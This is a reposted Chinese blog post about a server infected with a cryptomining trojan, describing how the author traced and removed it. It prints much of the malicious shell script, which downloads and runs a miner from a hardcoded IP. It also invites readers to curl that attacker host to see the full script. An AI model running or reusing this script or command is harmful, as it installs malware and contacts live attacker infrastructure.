专栏名称: 石杉的架构笔记
专注原创、用心雕琢!十余年BAT一线大厂架构经验倾囊相授
目录
相关文章推荐
938重庆私家车广播  ·  《阿凡达3》预计年底上映,卡梅隆:为三部中最佳电影 ·  14 小时前  
938重庆私家车广播  ·  《阿凡达3》预计年底上映,卡梅隆:为三部中最佳电影 ·  14 小时前  
科幻世界SFW  ·  新书上市 | ... ·  3 天前  
奔腾融媒 都市全接触  ·  今起,呼和浩特开通临时公交专线! ·  3 天前  
51好读  ›  专栏  ›  石杉的架构笔记

糟糕!服务器被植入挖矿木马,CPU飙升200%。。。

石杉的架构笔记  · 公众号  ·  · 2019-07-07 10:30

正文

公众号后台回复“ 学习 ”,获取作者独家秘制精品资料


多年好友心血力作, 阿里资深技术专家 十余年JVM生产实践经验

《从 开始带你成为 JVM 实战 高手》

限时优惠: 88元 正在进行ing

专栏目录 参见文末

扫下方海报进行 试读

通过我的海报购买, 再返你24元

领取方式: 加微信号:Giotto1245 ,暗号: 返现

本文来源:

https://my.oschina.net/liughDevelop/blog/1786631


线上服务器用的是某讯云的,欢快的完美运行着Tomcat,MySQL,MongoDB,ActiveMQ等程序。突然一则噩耗从前线传来: 网站不能访问了!

此项目是我负责,我以150+的手速立即打开了服务器,看到Tomcat挂了,然后顺其自然的重启,启动过程中直接被killed,再试试数据库,同样没成功

多次尝试甚至重启机器无果。机智的我打了个top,出现以下内容:


这是谁运行的程序?

不管三七二十一先杀掉再说,因为它就是Tomcat等程序启动不了的元凶。然而并没有什么卵用,过一会再看那个东西又跑出来占cpu。怀疑是个定时任务:


什么鬼,是个图片?立即访问了一下:


好尴尬,但是心思细腻的我早知道没这么简单,肯定只是伪装,curl过去是下面的脚本,过程就是在挖矿:

#!/bin/sh
pkill -9 142.4.124.164
pkill -9 192.99.56.117
pkill -9 jva
pkill -f ./atd
pkill -f /tmp/wa/httpd.conf
pkill -f 108.61.186.224
pkill -f 128.199.86.57
pkill -f 67.231.243.10
pkill -f 142.4.124.164
pkill -f 192.99.56.117
pkill -f 45.76.102.45
pkill -f AnXqV.yam
pkill -f BI5zj
pkill -f Carbon
pkill -f Duck.sh
pkill -f Guard.sh
...中间省略
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep -w suppoie |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig1
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
sleep 3
fi
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig2
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."

有兴趣的同学想查看以上完整源代码,命令行运行下面指令(不分操作系统,方便安全无污染):

curl 192.99.142.235:8220/logo3.jpg

既然知道它是个定时任务,那就先取消了它,并且看看它是谁在运行:


杀掉,找到存放目录:


进入临时目录:


被我发现配置文件了,先来看看内容:


虎躯一震,发现了不少信息啊!

user是他的server的登录用户,下面是密码,只可惜加密过,应该找不到对方。算了,大度的我先不和你计较。

干掉这两个文件后再查看top:


解决办法

找到寄生的目录,一般都会在tmp里,我这个是在/var/tmp/。首先把crontab干掉,杀掉进程,再删除产生的文件。启动Tomcat等程序,大功告成!

等等,这远远不够,考虑到能被拿去挖矿的前提下你的服务器都已经被黑客入侵了,修复漏洞才对

不然你杀掉进程删掉文件后,黑客后门进来history一敲,都知道你做了啥修复手段。

所以上面办法治标不治本,我后续做了以下工作:







请到「今天看啥」查看全文